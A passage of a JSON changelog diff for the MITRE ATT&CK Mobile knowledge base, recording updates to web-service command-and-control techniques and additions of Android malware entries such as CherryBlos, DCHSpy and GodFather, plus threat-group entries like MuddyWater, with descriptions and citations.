"mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1481", + "external_id": "T1481" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.184000+00:00\", \"old_value\": \"2025-04-16 21:21:55.035000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0672: Detection of Web Service" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--939808a7-121d-467a-b028-4441ee8b7cee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 15:47:06.071000+00:00", + "modified": "2025-10-24 17:49:06.929000+00:00", + "name": "Bidirectional Communication", + "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1481/002", + "external_id": "T1481.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.929000+00:00\", \"old_value\": \"2025-04-16 21:21:51.825000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0700: Detection of Bidirectional Communication" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--986f80f7-ff0e-4f48-87bd-0394814bbce5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 15:41:03.914000+00:00", + "modified": "2025-10-24 17:49:07.948000+00:00", + "name": "Dead Drop Resolver", + "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1481/001", + "external_id": "T1481.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.948000+00:00\", \"old_value\": \"2025-04-16 21:21:52.296000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0617: Detection of Dead Drop Resolver" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d916f176-a1ca-4a78-9fdd-4058bc28162e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 15:52:07.711000+00:00", + "modified": "2025-10-24 17:49:28.337000+00:00", + "name": "One-Way Communication", + "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1481/003", + "external_id": "T1481.003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.337000+00:00\", \"old_value\": \"2025-04-16 21:21:56.869000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0610: Detection of One-Way Communication" + ], + "dropped": [] + } + } + ], + "revocations": [], + "deprecations": [], + "deletions": [ + { + "type": "attack-pattern", + "id": "attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d", + "created": "2017-10-25 14:48:08.155000+00:00", + "modified": "2025-04-25 15:16:27.255000+00:00", + "name": "Malicious SMS Message", + "description": "Test", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": true, + "external_references": [ + { + "source_name": "mitre-mobile-attack", + "url": "https://attack.mitre.org/techniques/T1454", + "external_id": "T1454" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0" + } + ] + }, + "software": { + "additions": [ + { + "type": "malware", + "id": "malware--3cf81957-489a-469f-b013-362d548a96c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-25 15:32:53.278000+00:00", + "modified": "2025-10-23 20:45:51.613000+00:00", + "name": "CherryBlos", + "description": "[CherryBlos](https://attack.mitre.org/software/S1225) is an Android malware that steals credentials and redirects cryptocurrency to adversary-controlled wallets. [CherryBlos](https://attack.mitre.org/software/S1225) was labelled Robot 999 in its first appearance in April 2023; since then, various aliases have been used, including GPTalk, Happy Miner, and SynthNet. The threat actors behind [CherryBlos](https://attack.mitre.org/software/S1225) uploaded the malware to different Google Play regions, such as Malaysia, Vietnam, Indonesia, Philippines, Uganda, and Mexico.(Citation: TrendMicro_CherryBlos_July2023) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1225", + "external_id": "S1225" + }, + { + "source_name": "TrendMicro_CherryBlos_July2023", + "description": "Trend Micro Research. (2023, July 28). Related CherryBlos and FakeTrade Android Malware Involved in Scam Campaigns. Retrieved March 28, 2025.", + "url": "https://www.trendmicro.com/en_us/research/23/g/cherryblos-and-faketrade-android-malware-involved-in-scam-campai.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CherryBlos" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6d5c257d-e6de-4c95-a7e8-09ac9386007d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-08 14:33:07.304000+00:00", + "modified": "2025-10-24 03:50:18.603000+00:00", + "name": "DCHSpy", + "description": "[DCHSpy](https://attack.mitre.org/software/S1243) is an Android spyware likely used by [MuddyWater](https://attack.mitre.org/groups/G0069). [DCHSpy](https://attack.mitre.org/software/S1243) uses political decoys and masquerades as legitimate applications, such as VPNs and banking applications, to trick victims into downloading the malware. Once downloaded, [DCHSpy](https://attack.mitre.org/software/S1243) collects information from the device and exfiltrates the data to the command and control (C2) server.(Citation: Lookout_DCHSpy_July2025) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1243", + "external_id": "S1243" + }, + { + "source_name": "Lookout_DCHSpy_July2025", + "description": "Albrecht, J., Islamoglu, A. (2025, July 21). Lookout Discovers Iranian APT MuddyWater Leveraging DCHSpy During Israel-Iran Conflict . Retrieved September 19, 2025.", + "url": "https://www.lookout.com/threat-intelligence/article/lookout-discovers-iranian-dchsy-surveillanceware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DCHSpy" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Kaung Khant Ko" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--bf064476-25b8-493c-a1e7-dd707b3f7f52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-08-29 21:53:36.156000+00:00", + "modified": "2025-10-24 03:31:15.830000+00:00", + "name": "GodFather", + "description": "[GodFather](https://attack.mitre.org/software/S1231) is an Android banking malware that uses virtualization to mimic legitimate applications and abuses accessibility services and other permissions to evade detection and exfiltrate sensitive data. First identified in 2020, [GodFather](https://attack.mitre.org/software/S1231) targets nearly 500 banking applications, cryptocurrency wallets, and exchanges worldwide; however, its virtualization-based attacks have primarily focused on several Turkish financial institutions. This capability enables threat actors to steal banking credentials and other sensitive account information. (Citation: ZimperiumOrtegaPratapagiri_GodFather_Jun2025)(Citation: MerkleScience_Godfather_April2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1231", + "external_id": "S1231" + }, + { + "source_name": "MerkleScience_Godfather_April2023", + "description": "Merkle Science. (2023, April 25). The Godfather Android Malware: Threat under the lens. Retrieved July 16, 2025.", + "url": "https://www.merklescience.com/blog/the-godfather-android-malware-threat-under-the-lens" + }, + { + "source_name": "ZimperiumOrtegaPratapagiri_GodFather_Jun2025", + "description": "Ortega, F. Pratapagiri, V. (2025, June 18). Your Mobile App, Their Playground: The Dark Side of Virtualization. Retrieved July 16, 2025.", + "url": "https://zimperium.com/blog/your-mobile-app-their-playground-the-dark-side-of-the-virtualization" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "GodFather" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Google's Android Security team" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6ceb0644-0ae9-4ee1-a659-3888687cb03b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-18 14:36:13.709000+00:00", + "modified": "2025-10-24 03:26:04.908000+00:00", + "name": "RatMilad", + "description": "[RatMilad](https://attack.mitre.org/software/S1241) is an Android remote access tool (RAT) with spyware functionality that has been used to target enterprise mobile devices in the Middle East since at least 2021. Variants of [RatMilad](https://attack.mitre.org/software/S1241) have been disguised as VPN applications and a fake app named NumRent. Upon installation, [RatMilad](https://attack.mitre.org/software/S1241) employs multiple [Collection](https://attack.mitre.org/tactics/TA0035) techniques to collect sensitive information before uploading the collected data to its command and control (C2) server. (Citation: ZimperiumGupta_RatMilad_Oct2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1241", + "external_id": "S1241" + }, + { + "source_name": "ZimperiumGupta_RatMilad_Oct2022", + "description": "Gupta, N. (2022, October 5). We Smell A RatMilad Android Spyware. Retrieved August 27, 2025.", + "url": "https://zimperium.com/blog/we-smell-a-ratmilad-mobile-spyware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RatMilad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Google's Android Security team" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "malware", + "id": "malware--2cf00c5a-857d-4cb6-8f03-82f15bee0f6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-08-16 16:30:44.598000+00:00", + "modified": "2025-10-24 03:53:35.020000+00:00", + "name": "Chameleon", + "description": "[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of [Chameleon](https://attack.mitre.org/software/S1083) has expanded its targets to include Android users in the United Kingdom and Italy.(Citation: cyble_chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1083", + "external_id": "S1083" + }, + { + "source_name": "cyble_chameleon_0423", + "description": "Cyble Research & Intelligence Labs. (2023, April 13). Banking Trojan targeting mobile users in Australia and Poland. Retrieved August 16, 2023.", + "url": "https://cyble.com/blog/chameleon-a-new-android-malware-spotted-in-the-wild/" + }, + { + "source_name": "ThreatFabric_Chameleon_Dec2023", + "description": "ThreatFabric. (2023, December 21). Android Banking Trojan Chameleon can now bypass any Biometric Authentication. Retrieved July 7, 2025.", + "url": "https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Chameleon" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Yasuhito Kawanishi, NEC Corporation" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 03:53:35.020000+00:00\", \"old_value\": \"2025-04-16 21:22:06.355000+00:00\"}, \"root['description']\": {\"new_value\": \"[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android\\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of [Chameleon](https://attack.mitre.org/software/S1083) has expanded its targets to include Android users in the United Kingdom and Italy.(Citation: cyble_chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) \", \"old_value\": \"[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android\\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official apps.(Citation: cyble_chameleon_0423)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatFabric_Chameleon_Dec2023\", \"description\": \"ThreatFabric. (2023, December 21). Android Banking Trojan Chameleon can now bypass any Biometric Authentication. Retrieved July 7, 2025.\", \"url\": \"https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action\"}, \"root['x_mitre_contributors'][0]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Chameleon](https://attack.mitre.org/software/S1083) is an At1[Chameleon](https://attack.mitre.org/software/S1083) is an A
>ndroid banking trojan that can leverage Android\u2019s Accessibil>ndroid banking trojan that can leverage Android\u2019s Accessibil
>ity Services to perform malicious activities. Believed to ha>ity Services to perform malicious activities. Believed to ha
>ve been first active in January 2023, [Chameleon](https://at>ve been first active in January 2023, [Chameleon](https://at
>tack.mitre.org/software/S1083) has been observed targeting u>tack.mitre.org/software/S1083) has been observed targeting u
>sers in Australia and Poland by masquerading as official app>sers in Australia and Poland by masquerading as official app
>s.(Citation: cyble_chameleon_0423)>lications. A new variant of [Chameleon](https://attack.mitre
 >.org/software/S1083) has expanded its targets to include And
 >roid users in the United Kingdom and Italy.(Citation: cyble_
 >chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) 
" + } + ], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "groups": { + "additions": [ + { + "type": "intrusion-set", + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-22 19:08:44.552000+00:00", + "name": "MuddyWater", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)", + "aliases": [ + "MuddyWater", + "Earth Vetala", + "MERCURY", + "Static Kitten", + "Seedworm", + "TEMP.Zagros", + "Mango Sandstorm", + "TA450" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0069", + "external_id": "G0069" + }, + { + "source_name": "MERCURY", + "description": "(Citation: Anomali Static Kitten February 2021)" + }, + { + "source_name": "Static Kitten", + "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "TEMP.Zagros", + "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "Mango Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "TA450", + "description": "(Citation: Proofpoint TA450 Phishing March 2024)" + }, + { + "source_name": "Seedworm", + "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "Earth Vetala", + "description": "(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "MuddyWater", + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "ClearSky MuddyWater June 2019", + "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", + "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf" + }, + { + "source_name": "CYBERCOM Iranian Intel Cyber January 2022", + "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.", + "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" + }, + { + "source_name": "DHS CISA AA22-055A MuddyWater February 2022", + "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "Talos MuddyWater Jan 2022", + "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.", + "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html" + }, + { + "source_name": "Anomali Static Kitten February 2021", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Proofpoint TA450 Phishing March 2024", + "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html" + }, + { + "source_name": "Reaqta MuddyWater November 2017", + "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.", + "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Ozer Sarilar, @ozersarilar, STM", + "Daniyal Naeem, BT Security", + "Marco Pedrinazzi, @pedrinazziM" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "6.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-14 18:17:18.727000+00:00", + "modified": "2025-10-22 22:12:56.172000+00:00", + "name": "Star Blizzard", + "description": "[Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, 